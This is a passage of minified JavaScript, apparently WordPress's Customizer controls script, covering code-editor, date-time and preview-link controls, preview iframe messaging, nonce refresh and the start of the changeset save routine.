e.find("input[type=checkbox]").on("click",function(){n.setting.notifications.remove("csslint_error")}),e}))})},ready:function(){var i=this;i.section()?Y.section(i.section(),function(n){n.deferred.embedded.done(function(){var t;n.expanded()?i.initEditor():n.expanded.bind(t=function(e){e&&(i.initEditor(),n.expanded.unbind(t))})})}):i.initEditor()},initEditor:function(){var e,t=this,n=!1;wp.codeEditor&&(_.isUndefined(t.params.editor_settings)||!1!==t.params.editor_settings)&&((n=wp.codeEditor.defaultSettings?_.clone(wp.codeEditor.defaultSettings):{}).codemirror=_.extend({},n.codemirror,{indentUnit:2,tabSize:2}),_.isObject(t.params.editor_settings))&&_.each(t.params.editor_settings,function(e,t){_.isObject(e)&&(n[t]=_.extend({},n[t],e))}),e=new Y.Element(t.container.find("textarea")),t.elements.push(e),e.sync(t.setting),e.set(t.setting()),n?t.initSyntaxHighlightingEditor(n):t.initPlainTextareaEditor()},focus:function(e){var t=this,e=_.extend({},e),n=e.completeCallback;e.completeCallback=function(){n&&n(),t.editor&&t.editor.codemirror.focus()},Y.Control.prototype.focus.call(t,e)},initSyntaxHighlightingEditor:function(e){var t=this,n=t.container.find("textarea"),i=!1,e=_.extend({},e,{onTabNext:_.bind(t.onTabNext,t),onTabPrevious:_.bind(t.onTabPrevious,t),onUpdateErrorNotice:_.bind(t.onUpdateErrorNotice,t)});t.editor=wp.codeEditor.initialize(n,e),J(t.editor.codemirror.display.lineDiv).attr({role:"textbox","aria-multiline":"true","aria-label":t.params.label,"aria-describedby":"editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4"}),t.container.find("label").on("click",function(){t.editor.codemirror.focus()}),t.editor.codemirror.on("change",function(e){i=!0,n.val(e.getValue()).trigger("change"),i=!1}),t.setting.bind(function(e){i||t.editor.codemirror.setValue(e)}),t.editor.codemirror.on("keydown",function(e,t){27===t.keyCode&&t.stopPropagation()}),t.deferred.codemirror.resolveWith(t,[t.editor.codemirror])},onTabNext:function(){var e=Y.section(this.section()).controls(),t=e.indexOf(this);e.length===t+1?J("#customize-footer-actions .collapse-sidebar").trigger("focus"):e[t+1].container.find(":focusable:first").focus()},onTabPrevious:function(){var e=Y.section(this.section()),t=e.controls(),n=t.indexOf(this);(0===n?e.contentContainer.find(".customize-section-title .customize-help-toggle, .customize-section-title .customize-section-description.open .section-description-close").last():t[n-1].contentContainer.find(":focusable:first")).focus()},onUpdateErrorNotice:function(e){this.setting.notifications.remove("csslint_error"),0!==e.length&&(e=1===e.length?Y.l10n.customCssError.singular.replace("%d","1"):Y.l10n.customCssError.plural.replace("%d",String(e.length)),this.setting.notifications.add(new Y.Notification("csslint_error",{message:e,type:"error"})))},initPlainTextareaEditor:function(){var a=this.container.find("textarea"),o=a[0];a.on("blur",function(){a.data("next-tab-blurs",!1)}),a.on("keydown",function(e){var t,n,i;27===e.keyCode?a.data("next-tab-blurs")||(a.data("next-tab-blurs",!0),e.stopPropagation()):9!==e.keyCode||e.ctrlKey||e.altKey||e.shiftKey||a.data("next-tab-blurs")||(t=o.selectionStart,n=o.selectionEnd,i=o.value,0<=t&&(o.value=i.substring(0,t).concat("\t",i.substring(n)),a.selectionStart=o.selectionEnd=t+1),e.stopPropagation(),e.preventDefault())}),this.deferred.codemirror.rejectWith(this)}}),Y.DateTimeControl=Y.Control.extend({ready:function(){var i=this;if(i.inputElements={},i.invalidDate=!1,_.bindAll(i,"populateSetting","updateDaysForMonth","populateDateInputs"),!i.setting)throw new Error("Missing setting");i.container.find(".date-input").each(function(){var e=J(this),t=e.data("component"),n=new Y.Element(e);i.inputElements[t]=n,i.elements.push(n),e.on("change",function(){i.invalidDate&&i.notifications.add(new Y.Notification("invalid_date",{message:Y.l10n.invalidDate}))}),e.on("input",_.debounce(function(){i.invalidDate||i.notifications.remove("invalid_date")})),e.on("blur",_.debounce(function(){i.invalidDate||i.populateDateInputs()}))}),i.inputElements.month.bind(i.updateDaysForMonth),i.inputElements.year.bind(i.updateDaysForMonth),i.populateDateInputs(),i.setting.bind(i.populateDateInputs),_.each(i.inputElements,function(e){e.bind(i.populateSetting)})},parseDateTime:function(e){var t;return(t=e?e.match(/^(\d\d\d\d)-(\d\d)-(\d\d)(?: (\d\d):(\d\d)(?::(\d\d))?)?$/):t)?(t.shift(),e={year:t.shift(),month:t.shift(),day:t.shift(),hour:t.shift()||"00",minute:t.shift()||"00",second:t.shift()||"00"},this.params.includeTime&&this.params.twelveHourFormat&&(e.hour=parseInt(e.hour,10),e.meridian=12<=e.hour?"pm":"am",e.hour=e.hour%12?String(e.hour%12):String(12),delete e.second),e):null},validateInputs:function(){var e,i,a=this;return a.invalidDate=!1,e=["year","day"],a.params.includeTime&&e.push("hour","minute"),_.find(e,function(e){var t,n,e=a.inputElements[e];return i=e.element.get(0),t=parseInt(e.element.attr("max"),10),n=parseInt(e.element.attr("min"),10),e=parseInt(e(),10),a.invalidDate=isNaN(e)||t<e||e<n,a.invalidDate||i.setCustomValidity(""),a.invalidDate}),a.inputElements.meridian&&!a.invalidDate&&(i=a.inputElements.meridian.element.get(0),"am"!==a.inputElements.meridian.get()&&"pm"!==a.inputElements.meridian.get()?a.invalidDate=!0:i.setCustomValidity("")),a.invalidDate?i.setCustomValidity(Y.l10n.invalidValue):i.setCustomValidity(""),(!a.section()||Y.section.has(a.section())&&Y.section(a.section()).expanded())&&_.result(i,"reportValidity"),a.invalidDate},updateDaysForMonth:function(){var e=this,t=parseInt(e.inputElements.month(),10),n=parseInt(e.inputElements.year(),10),i=parseInt(e.inputElements.day(),10);t&&n&&(n=new Date(n,t,0).getDate(),e.inputElements.day.element.attr("max",n),n<i)&&e.inputElements.day(String(n))},populateSetting:function(){var e,t=this;return!(t.validateInputs()||!t.params.allowPastDate&&!t.isFutureDate()||(e=t.convertInputDateToString(),t.setting.set(e),0))},convertInputDateToString:function(){var e,n=this,t="",i=function(e,t){return String(e).length<t&&(t=t-String(e).length,e=Math.pow(10,t).toString().substr(1)+String(e)),e},a=function(e){var t=parseInt(n.inputElements[e].get(),10);return _.contains(["month","day","hour","minute"],e)?t=i(t,2):"year"===e&&(t=i(t,4)),t},o=["year","-","month","-","day"];return n.params.includeTime&&(e=n.inputElements.meridian?n.convertHourToTwentyFourHourFormat(n.inputElements.hour(),n.inputElements.meridian()):n.inputElements.hour(),o=o.concat([" ",i(e,2),":","minute",":","00"])),_.each(o,function(e){t+=n.inputElements[e]?a(e):e}),t},isFutureDate:function(){return 0<Y.utils.getRemainingTime(this.convertInputDateToString())},convertHourToTwentyFourHourFormat:function(e,t){e=parseInt(e,10);return isNaN(e)?"":(t="pm"===t&&e<12?e+12:"am"===t&&12===e?e-12:e,String(t))},populateDateInputs:function(){var i=this.parseDateTime(this.setting.get());return!!i&&(_.each(this.inputElements,function(e,t){var n=i[t];"month"===t||"meridian"===t?(n=n.replace(/^0/,""),e.set(n)):(n=parseInt(n,10),e.element.is(document.activeElement)?n!==parseInt(e(),10)&&e.set(String(n)):e.set(i[t]))}),!0)},toggleFutureDateNotification:function(e){var t="not_future_date";return e?(e=new Y.Notification(t,{type:"error",message:Y.l10n.futureDateError}),this.notifications.add(e)):this.notifications.remove(t),this}}),Y.PreviewLinkControl=Y.Control.extend({defaults:_.extend({},Y.Control.prototype.defaults,{templateId:"customize-preview-link-control"}),ready:function(){var e,t,n,i,a,o=this;_.bindAll(o,"updatePreviewLink"),o.setting||(o.setting=new Y.Value),o.previewElements={},o.container.find(".preview-control-element").each(function(){t=J(this),e=t.data("component"),t=new Y.Element(t),o.previewElements[e]=t,o.elements.push(t)}),n=o.previewElements.url,i=o.previewElements.input,a=o.previewElements.button,i.link(o.setting),n.link(o.setting),n.bind(function(e){n.element.parent().attr({href:e,target:Y.settings.changeset.uuid})}),Y.bind("ready",o.updatePreviewLink),Y.state("saved").bind(o.updatePreviewLink),Y.state("changesetStatus").bind(o.updatePreviewLink),Y.state("activated").bind(o.updatePreviewLink),Y.previewer.previewUrl.bind(o.updatePreviewLink),a.element.on("click",function(e){e.preventDefault(),o.setting()&&(i.element.select(),document.execCommand("copy"),a(a.element.data("copied-text")))}),n.element.parent().on("click",function(e){J(this).hasClass("disabled")&&e.preventDefault()}),a.element.on("mouseenter",function(){o.setting()&&a(a.element.data("copy-text"))})},updatePreviewLink:function(){var e=!Y.state("saved").get()||""===Y.state("changesetStatus").get()||"auto-draft"===Y.state("changesetStatus").get();this.toggleSaveNotification(e),this.previewElements.url.element.parent().toggleClass("disabled",e),this.previewElements.button.element.prop("disabled",e),this.setting.set(Y.previewer.getFrontendPreviewUrl())},toggleSaveNotification:function(e){var t="changes_not_saved";e?(e=new Y.Notification(t,{type:"info",message:Y.l10n.saveBeforeShare}),this.notifications.add(e)):this.notifications.remove(t)}}),Y.defaultConstructor=Y.Setting,Y.control=new Y.Values({defaultConstructor:Y.Control}),Y.section=new Y.Values({defaultConstructor:Y.Section}),Y.panel=new Y.Values({defaultConstructor:Y.Panel}),Y.notifications=new Y.Notifications,Y.PreviewFrame=Y.Messenger.extend({sensitivity:null,initialize:function(e,t){var n=J.Deferred();n.promise(this),this.container=e.container,J.extend(e,{channel:Y.PreviewFrame.uuid()}),Y.Messenger.prototype.initialize.call(this,e,t),this.add("previewUrl",e.previewUrl),this.query=J.extend(e.query||{},{customize_messenger_channel:this.channel()}),this.run(n)},run:function(t){var e,n,i,a=this,o=!1,s=!1,r=null,c="{}"!==a.query.customized;a._ready&&a.unbind("ready",a._ready),a._ready=function(e){s=!0,r=e,a.container.addClass("iframe-ready"),e&&o&&t.resolveWith(a,[e])},a.bind("ready",a._ready),(e=document.createElement("a")).href=a.previewUrl(),n=_.extend(Y.utils.parseQueryString(e.search.substr(1)),{customize_changeset_uuid:a.query.customize_changeset_uuid,customize_theme:a.query.customize_theme,customize_messenger_channel:a.query.customize_messenger_channel}),!Y.settings.changeset.autosaved&&Y.state("saved").get()||(n.customize_autosaved="on"),e.search=J.param(n),a.iframe=J("<iframe />",{title:Y.l10n.previewIframeTitle,name:"customize-"+a.channel()}),a.iframe.attr("onmousewheel",""),a.iframe.attr("sandbox","allow-forms allow-modals allow-orientation-lock allow-pointer-lock allow-popups allow-popups-to-escape-sandbox allow-presentation allow-same-origin allow-scripts"),c?a.iframe.attr("data-src",e.href):a.iframe.attr("src",e.href),a.iframe.appendTo(a.container),a.targetWindow(a.iframe[0].contentWindow),c&&((i=J("<form>",{action:e.href,target:a.iframe.attr("name"),method:"post",hidden:"hidden"})).append(J("<input>",{type:"hidden",name:"_method",value:"GET"})),_.each(a.query,function(e,t){i.append(J("<input>",{type:"hidden",name:t,value:e}))}),a.container.append(i),i.trigger("submit"),i.remove()),a.bind("iframe-loading-error",function(e){a.iframe.remove(),0===e?a.login(t):-1===e?t.rejectWith(a,["cheatin"]):t.rejectWith(a,["request failure"])}),a.iframe.one("load",function(){o=!0,s?t.resolveWith(a,[r]):setTimeout(function(){t.rejectWith(a,["ready timeout"])},a.sensitivity)})},login:function(n){var i=this,a=function(){n.rejectWith(i,["logged out"])};if(this.triedLogin)return a();J.get(Y.settings.url.ajax,{action:"logged-in"}).fail(a).done(function(e){var t;"1"!==e&&a(),(t=J("<iframe />",{src:i.previewUrl(),title:Y.l10n.previewIframeTitle}).hide()).appendTo(i.container),t.on("load",function(){i.triedLogin=!0,t.remove(),i.run(n)})})},destroy:function(){Y.Messenger.prototype.destroy.call(this),this.iframe&&this.iframe.remove(),delete this.iframe,delete this.targetWindow}}),i=0,Y.PreviewFrame.uuid=function(){return"preview-"+String(i++)},Y.setDocumentTitle=function(e){e=Y.settings.documentTitleTmpl.replace("%s",e);document.title=e,Y.trigger("title",e)},Y.Previewer=Y.Messenger.extend({refreshBuffer:null,initialize:function(e,t){var n,o=this,i=document.createElement("a");J.extend(o,t||{}),o.deferred={active:J.Deferred()},o.refresh=_.debounce((n=o.refresh,function(){var e,t=function(){return 0===Y.state("processing").get()};t()?n.call(o):(e=function(){t()&&(n.call(o),Y.state("processing").unbind(e))},Y.state("processing").bind(e))}),o.refreshBuffer),o.container=Y.ensure(e.container),o.allowedUrls=e.allowedUrls,e.url=window.location.href,Y.Messenger.prototype.initialize.call(o,e),i.href=o.origin(),o.add("scheme",i.protocol.replace(/:$/,"")),o.add("previewUrl",e.previewUrl).setter(function(e){var n,i=null,t=[],a=document.createElement("a");return a.href=e,/\/wp-(admin|includes|content)(\/|$)/.test(a.pathname)?null:(1<a.search.length&&(delete(e=Y.utils.parseQueryString(a.search.substr(1))).customize_changeset_uuid,delete e.customize_theme,delete e.customize_messenger_channel,delete e.customize_autosaved,_.isEmpty(e)?a.search="":a.search=J.param(e)),t.push(a),o.scheme.get()+":"!==a.protocol&&((a=document.createElement("a")).href=t[0].href,a.protocol=o.scheme.get()+":",t.unshift(a)),n=document.createElement("a"),_.find(t,function(t){return!_.isUndefined(_.find(o.allowedUrls,function(e){if(n.href=e,a.protocol===n.protocol&&a.host===n.host&&0===a.pathname.indexOf(n.pathname.replace(/\/$/,"")))return i=t.href,!0}))}),i)}),o.bind("ready",o.ready),o.deferred.active.done(_.bind(o.keepPreviewAlive,o)),o.bind("synced",function(){o.send("active")}),o.previewUrl.bind(o.refresh),o.scroll=0,o.bind("scroll",function(e){o.scroll=e}),o.bind("url",function(e){var t,n=!1;o.scroll=0,o.previewUrl.bind(t=function(){n=!0}),o.previewUrl.set(e),o.previewUrl.unbind(t),n||o.refresh()}),o.bind("documentTitle",function(e){Y.setDocumentTitle(e)})},ready:function(e){var t=this,n={};n.settings=Y.get(),n["settings-modified-while-loading"]=t.settingsModifiedWhileLoading,"resolved"===t.deferred.active.state()&&!t.loading||(n.scroll=t.scroll),n["edit-shortcut-visibility"]=Y.state("editShortcutVisibility").get(),t.send("sync",n),e.currentUrl&&(t.previewUrl.unbind(t.refresh),t.previewUrl.set(e.currentUrl),t.previewUrl.bind(t.refresh)),n={panel:e.activePanels,section:e.activeSections,control:e.activeControls},_(n).each(function(n,i){Y[i].each(function(e,t){_.isUndefined(Y.settings[i+"s"][t])&&_.isUndefined(n[t])||(n[t]?e.activate():e.deactivate())})}),e.settingValidities&&Y._handleSettingValidities({settingValidities:e.settingValidities,focusInvalidControl:!1})},keepPreviewAlive:function(){var e,t=function(){e=setTimeout(i,Y.settings.timeouts.keepAliveCheck)},n=function(){Y.state("previewerAlive").set(!0),clearTimeout(e),t()},i=function(){Y.state("previewerAlive").set(!1)};t(),this.bind("ready",n),this.bind("keep-alive",n)},query:function(){},abort:function(){this.loading&&(this.loading.destroy(),delete this.loading)},refresh:function(){var e,i=this;i.send("loading-initiated"),i.abort(),i.loading=new Y.PreviewFrame({url:i.url(),previewUrl:i.previewUrl(),query:i.query({excludeCustomizedSaved:!0})||{},container:i.container}),i.settingsModifiedWhileLoading={},Y.bind("change",e=function(e){i.settingsModifiedWhileLoading[e.id]=!0}),i.loading.always(function(){Y.unbind("change",e)}),i.loading.done(function(e){var t,n=this;i.preview=n,i.targetWindow(n.targetWindow()),i.channel(n.channel()),t=function(){n.unbind("synced",t),i._previousPreview&&i._previousPreview.destroy(),i._previousPreview=i.preview,i.deferred.active.resolve(),delete i.loading},n.bind("synced",t),i.trigger("ready",e)}),i.loading.fail(function(e){i.send("loading-failed"),"logged out"===e&&(i.preview&&(i.preview.destroy(),delete i.preview),i.login().done(i.refresh)),"cheatin"===e&&i.cheatin()})},login:function(){var t,n,i,a=this;return this._login||(t=J.Deferred(),this._login=t.promise(),n=new Y.Messenger({channel:"login",url:Y.settings.url.login}),i=J("<iframe />",{src:Y.settings.url.login,title:Y.l10n.loginIframeTitle}).appendTo(this.container),n.targetWindow(i[0].contentWindow),n.bind("login",function(){var e=a.refreshNonces();e.always(function(){i.remove(),n.destroy(),delete a._login}),e.done(function(){t.resolve()}),e.fail(function(){a.cheatin(),t.reject()})})),this._login},cheatin:function(){J(document.body).empty().addClass("cheatin").append("<h1>"+Y.l10n.notAllowedHeading+"</h1><p>"+Y.l10n.notAllowed+"</p>")},refreshNonces:function(){var e,t=J.Deferred();return t.promise(),(e=wp.ajax.post("customize_refresh_nonces",{wp_customize:"on",customize_theme:Y.settings.theme.stylesheet})).done(function(e){Y.trigger("nonce-refresh",e),t.resolve()}),e.fail(function(){t.reject()}),t}}),Y.settingConstructor={},Y.controlConstructor={color:Y.ColorControl,media:Y.MediaControl,upload:Y.UploadControl,image:Y.ImageControl,cropped_image:Y.CroppedImageControl,site_icon:Y.SiteIconControl,header:Y.HeaderControl,background:Y.BackgroundControl,background_position:Y.BackgroundPositionControl,theme:Y.ThemeControl,date_time:Y.DateTimeControl,code_editor:Y.CodeEditorControl},Y.panelConstructor={themes:Y.ThemesPanel},Y.sectionConstructor={themes:Y.ThemesSection,outer:Y.OuterSection},Y._handleSettingValidities=function(e){var o=[],n=!1;_.each(e.settingValidities,function(t,e){var a=Y(e);a&&(_.isObject(t)&&_.each(t,function(e,t){var n=!1,e=new Y.Notification(t,_.extend({fromServer:!0},e)),i=a.notifications(e.code);(n=i?e.type!==i.type||e.message!==i.message||!_.isEqual(e.data,i.data):n)&&a.notifications.remove(t),a.notifications.has(e.code)||a.notifications.add(e),o.push(a.id)}),a.notifications.each(function(e){!e.fromServer||"error"!==e.type||!0!==t&&t[e.code]||a.notifications.remove(e.code)}))}),e.focusInvalidControl&&(e=Y.findControlsForSettings(o),_(_.values(e)).find(function(e){return _(e).find(function(e){var t=e.section()&&Y.section.has(e.section())&&Y.section(e.section()).expanded();return(t=t&&e.expanded?e.expanded():t)&&(e.focus(),n=!0),n})}),n||_.isEmpty(e)||_.values(e)[0][0].focus())},Y.findControlsForSettings=function(e){var n,i={};return _.each(_.unique(e),function(e){var t=Y(e);t&&(n=t.findControls())&&0<n.length&&(i[e]=n)}),i},Y.reflowPaneContents=_.bind(function(){var i,e,t,a=[],o=!1;document.activeElement&&(e=J(document.activeElement)),Y.panel.each(function(e){var t,n;"themes"===e.id||(t=e.sections(),n=_.pluck(t,"headContainer"),a.push(e),i=e.contentContainer.is("ul")?e.contentContainer:e.contentContainer.find("ul:first"),Y.utils.areElementListsEqual(n,i.children("[id]")))||(_(t).each(function(e){i.append(e.headContainer)}),o=!0)}),Y.section.each(function(e){var t=e.controls(),n=_.pluck(t,"container");e.panel()||a.push(e),i=e.contentContainer.is("ul")?e.contentContainer:e.contentContainer.find("ul:first"),Y.utils.areElementListsEqual(n,i.children("[id]"))||(_(t).each(function(e){i.append(e.container)}),o=!0)}),a.sort(Y.utils.prioritySort),t=_.pluck(a,"headContainer"),i=J("#customize-theme-controls .customize-pane-parent"),Y.utils.areElementListsEqual(t,i.children())||(_(a).each(function(e){i.append(e.headContainer)}),o=!0),Y.panel.each(function(e){var t=e.active();e.active.callbacks.fireWith(e.active,[t,t])}),Y.section.each(function(e){var t=e.active();e.active.callbacks.fireWith(e.active,[t,t])}),o&&e&&e.trigger("focus"),Y.trigger("pane-contents-reflowed")},Y),Y.state=new Y.Values,_.each(["saved","saving","trashing","activated","processing","paneVisible","expandedPanel","expandedSection","changesetDate","selectedChangesetDate","changesetStatus","selectedChangesetStatus","remainingTimeToPublish","previewerAlive","editShortcutVisibility","changesetLocked","previewedDevice"],function(e){Y.state.create(e)}),J(function(){var h,o,t,n,i,d,u,p,a,s,r,c,l,f,m,H,L,g,v,w,b,M,O,C,j,y,e,x,k,z,S,T,E,R,B,W,D,N,P,I,U,A;function F(e){e&&e.lockUser&&(Y.settings.changeset.lockUser=e.lockUser),Y.state("changesetLocked").set(!0),Y.notifications.add(new j("changeset_locked",{lockUser:Y.settings.changeset.lockUser,allowOverride:Boolean(e&&e.allowOverride)}))}function q(){var e,t=document.createElement("a");return t.href=location.href,e=Y.utils.parseQueryString(t.search.substr(1)),Y.settings.changeset.latestAutoDraftUuid?e.changeset_uuid=Y.settings.changeset.latestAutoDraftUuid:e.customize_autosaved="on",e.return=Y.settings.url.return,t.search=J.param(e),t.href}function Q(){T||(wp.ajax.post("customize_dismiss_autosave_or_lock",{wp_customize:"on",customize_theme:Y.settings.theme.stylesheet,customize_changeset_uuid:Y.settings.changeset.uuid,nonce:Y.settings.nonce.dismiss_autosave_or_lock,dismiss_autosave:!0}),T=!0)}function K(){var e;return Y.state("activated").get()?(""!==(e=Y.state("changesetStatus").get())&&"auto-draft"!==e||(e="publish"),Y.state("selectedChangesetStatus").get()===e&&("future"!==Y.state("selectedChangesetStatus").get()||Y.state("selectedChangesetDate").get()===Y.state("changesetDate").get())&&Y.state("saved").get()&&"auto-draft"!==Y.state("changesetStatus").get()):0===Y._latestRevision}function V(){Y.unbind("change",V),Y.state("selectedChangesetStatus").unbind(V),Y.state("selectedChangesetDate").unbind(V),J(window).on("beforeunload.customize-confirm",function(){if(!K()&&!Y.state("changesetLocked").get())return setTimeout(function(){t.removeClass("customize-loading")},1),Y.l10n.saveAlert})}function $(){var e=J.Deferred(),t=!1,n=!1;return K()?n=!0:confirm(Y.l10n.saveAlert)?(n=!0,Y.each(function(e){e._dirty=!1}),J(document).off("visibilitychange.wp-customize-changeset-update"),J(window).off("beforeunload.wp-customize-changeset-update"),i.css("cursor","progress"),""!==Y.state("changesetStatus").get()&&(t=!0)):e.reject(),(n||t)&&wp.ajax.send("customize_dismiss_autosave_or_lock",{timeout:500,data:{wp_customize:"on",customize_theme:Y.settings.theme.stylesheet,customize_changeset_uuid:Y.settings.changeset.uuid,nonce:Y.settings.nonce.dismiss_autosave_or_lock,dismiss_autosave:t,dismiss_lock:n}}).always(function(){e.resolve()}),e.promise()}Y.settings=window._wpCustomizeSettings,Y.l10n=window._wpCustomizeControlsL10n,Y.settings&&J.support.postMessage&&(J.support.cors||!Y.settings.isCrossDomain)&&(null===Y.PreviewFrame.prototype.sensitivity&&(Y.PreviewFrame.prototype.sensitivity=Y.settings.timeouts.previewFrameSensitivity),null===Y.Previewer.prototype.refreshBuffer&&(Y.Previewer.prototype.refreshBuffer=Y.settings.timeouts.windowRefresh),o=J(document.body),t=o.children(".wp-full-overlay"),n=J("#customize-info .panel-title.site-title"),i=J(".customize-controls-close"),d=J("#save"),u=J("#customize-save-button-wrapper"),p=J("#publish-settings"),a=J("#customize-footer-actions"),Y.bind("ready",function(){Y.section.add(new Y.OuterSection("publish_settings",{title:Y.l10n.publishSettings,priority:0,active:Y.settings.theme.active}))}),Y.section("publish_settings",function(t){var e,n,i,a,o,s,r;function c(){r=r||Y.utils.highlightButton(u,{delay:1e3,focusTarget:d})}function l(){r&&(r(),r=null)}e=new Y.Control("trash_changeset",{type:"button",section:t.id,priority:30,input_attrs:{class:"button-link button-link-delete",value:Y.l10n.discardChanges}}),Y.control.add(e),e.deferred.embedded.done(function(){e.container.find(".button-link").on("click",function(){confirm(Y.l10n.trashConfirm)&&wp.customize.previewer.trash()})}),Y.control.add(new Y.PreviewLinkControl("changeset_preview_link",{section:t.id,priority:100})),t.active.validate=n=function(){return!!Y.state("activated").get()&&!(Y.state("trashing").get()||"trash"===Y.state("changesetStatus").get()||""===Y.state("changesetStatus").get()&&Y.state("saved").get())},s=function(){t.active.set(n())},Y.state("activated").bind(s),Y.state("trashing").bind(s),Y.state("saved").bind(s),Y.state("changesetStatus").bind(s),s(),(s=function(){p.toggle(t.active.get()),d.toggleClass("has-next-sibling",t.active.get())})(),t.active.bind(s),Y.state("selectedChangesetStatus").bind(l),t.contentContainer.find(".customize-action").text(Y.l10n.updating),t.contentContainer.find(".customize-section-back").removeAttr("tabindex"),p.prop("disabled",!1),p.on("click",function(e){e.preventDefault(),t.expanded.set(!t.expanded.get())}),t.expanded.bind(function(e){p.attr("aria-expanded",String(e)),p.toggleClass("active",e),e?l():(""!==(e=Y.state("changesetStatus").get())&&"auto-draft"!==e||(e="publish"),(Y.state("selectedChangesetStatus").get()!==e||"future"===Y.state("selectedChangesetStatus").get()&&Y.state("selectedChangesetDate").get()!==Y.state("changesetDate").get())&&c())}),s=new Y.Control("changeset_status",{priority:10,type:"radio",section:"publish_settings",setting:Y.state("selectedChangesetStatus"),templateId:"customize-selected-changeset-status-control",label:Y.l10n.action,choices:Y.settings.changeset.statusChoices}),Y.control.add(s),(i=new Y.DateTimeControl("changeset_scheduled_date",{priority:20,section:"publish_settings",setting:Y.state("selectedChangesetDate"),minYear:(new Date).getFullYear(),allowPastDate:!1,includeTime:!0,twelveHourFormat:/a/i.test(Y.settings.timeFormat),description:Y.l10n.scheduleDescription})).notifications.alt=!0,Y.control.add(i),a=function(){Y.state("selectedChangesetStatus").set("publish"),Y.previewer.save()},s=function(){var e="future"===Y.state("changesetStatus").get()&&"future"===Y.state("selectedChangesetStatus").get()&&Y.state("changesetDate").get()&&Y.state("selectedChangesetDate").get()===Y.state("changesetDate").get()&&0<=Y.utils.getRemainingTime(Y.state("changesetDate").get());e&&!o?o=setInterval(function(){var e=Y.utils.getRemainingTime(Y.state("changesetDate").get());Y.state("remainingTimeToPublish").set(e),e<=0&&(clearInterval(o),o=0,a())},1e3):!e&&o&&(clearInterval(o),o=0)},Y.state("changesetDate").bind(s),Y.state("selectedChangesetDate").bind(s),Y.state("changesetStatus").bind(s),Y.state("selectedChangesetStatus").bind(s),s(),i.active.validate=function(){return"future"===Y.state("selectedChangesetStatus").get()},(s=function(e){i.active.set("future"===e)})(Y.state("selectedChangesetStatus").get()),Y.state("selectedChangesetStatus").bind(s),Y.state("saving").bind(function(e){e&&"future"===Y.state("selectedChangesetStatus").get()&&i.toggleFutureDateNotification(!i.isFutureDate())})}),J("#customize-controls").on("keydown",function(e){var t=13===e.which,n=J(e.target);t&&(n.is("input:not([type=button])")||n.is("select"))&&e.preventDefault()}),J(".customize-info").find("> .accordion-section-title .customize-help-toggle").on("click",function(){var e=J(this).closest(".accordion-section"),t=e.find(".customize-panel-description:first");e.hasClass("cannot-expand")||(e.hasClass("open")?(e.toggleClass("open"),t.slideUp(Y.Panel.prototype.defaultExpandedArguments.duration,function(){t.trigger("toggled")}),J(this).attr("aria-expanded",!1)):(t.slideDown(Y.Panel.prototype.defaultExpandedArguments.duration,function(){t.trigger("toggled")}),e.toggleClass("open"),J(this).attr("aria-expanded",!0)))}),Y.previewer=new Y.Previewer({container:"#customize-preview",form:"#customize-controls",previewUrl:Y.settings.url.preview,allowedUrls:Y.settings.url.allowed},{nonce:Y.settings.nonce,query:function(e){var t={wp_customize:"on",customize_theme:Y.settings.theme.stylesheet,nonce:this.nonce.preview,customize_changeset_uuid:Y.settings.changeset.uuid};return!Y.settings.changeset.autosaved&&Y.state("saved").get()||(t.customize_autosaved="on"),t.customized=JSON.stringify(Y.dirtyValues({unsaved:e&&e.excludeCustomizedSaved})),t},save:function(i){var e,t,a=this,o=J.Deferred(),s=Y.state("selectedChangesetStatus").get(),r=Y.state("selectedChangesetDate").get(),n=Y.state("processing"),c={},l=[],d=[],u=[];function p(e){c[e.id]=!0}return i&&i.status&&(s=i.status),Y.state("saving").get()&&(o.reject("already_saving"),o.promise()),Y.state("saving").set(!0),t=function(){var n={},t=Y._latestRevision,e="client_side_error";if(Y.bind("change",p),Y.notifications.remove(e),Y.each(function(t){t.notifications.each(function(e){"error"!==e.type||e.fromServer||(l.push(t.id),n[t.id]||(n[t.id]={}),n[t.id][e.code]=e)})}),Y.control.each(function(t){t.setting&&(t.setting.id||!t.active.get())||t.notifications.each(function(e){"error"===e.type&&u.push([t])})}),d=_.union(u,_.values(Y.findControlsForSettings(l))),!_.isEmpty(d))return d[0][0].focus(),Y.unbind("change",p),l.length&&Y.notifications.add(new Y.Notification(e,{message:(1===l.length?Y.l10n.saveBlockedError.singular:Y.l10n.saveBlockedError.plural).replace(/%s/g,String(l.length)),type:"error",dismissible:!0,saveFailure:!0})),o.rejectWith(a,[{setting_invalidities:n}]),Y.state("saving").set(!1),o.promise();e=J.extend(a.query({excludeCustomizedSaved:!1}),{nonce:a.nonce.save,customize_changeset_status:s}),i&&i.date?e.customize_changeset_date=i.date:"future"===s&&r&&(e.customize_changeset_date=r),i&&i.title&&(e.customize_changeset_title=i.title),Y.trigger("save-request-params",e),e=wp.ajax.post("customize_save",e),Y.state("processing").set(Y.state("processing").get()+1),Y.trigger("save",e),e.always(function(){Y.state("processing").set(Y.state("processing").get()-1),Y.state("saving").set(!1),Y.unbind("change",p)}),Y.notifications.each(function(e){e.saveFailure&&Y.notifications.remove(e.code)}),e.fail(function(e){var t,n={type:"error",dismissible:!0,fromServer:!0,saveFailure:!0};"0"===e?e="not_logged_in":"-1"===e&&(e="invalid_nonce"),"invalid_nonce"===e?a.cheatin():"not_logged_in"===e?(a.preview.iframe.hide(),a.login().done(function(){a.save(),a.preview.iframe.show()})):e.code?"not_future_date"===e.code&&Y.section.has("publish_settings")&&Y.section("publish_settings").active.get()&&Y.control.has("changeset_scheduled_date")?Y.control("changeset_scheduled_date").toggleFutureDateNotification(!0).focus():"changeset_locked"!==e.code&&(t=new Y.Notification(e.code,_.extend(n,{message:e.message}))):t=new 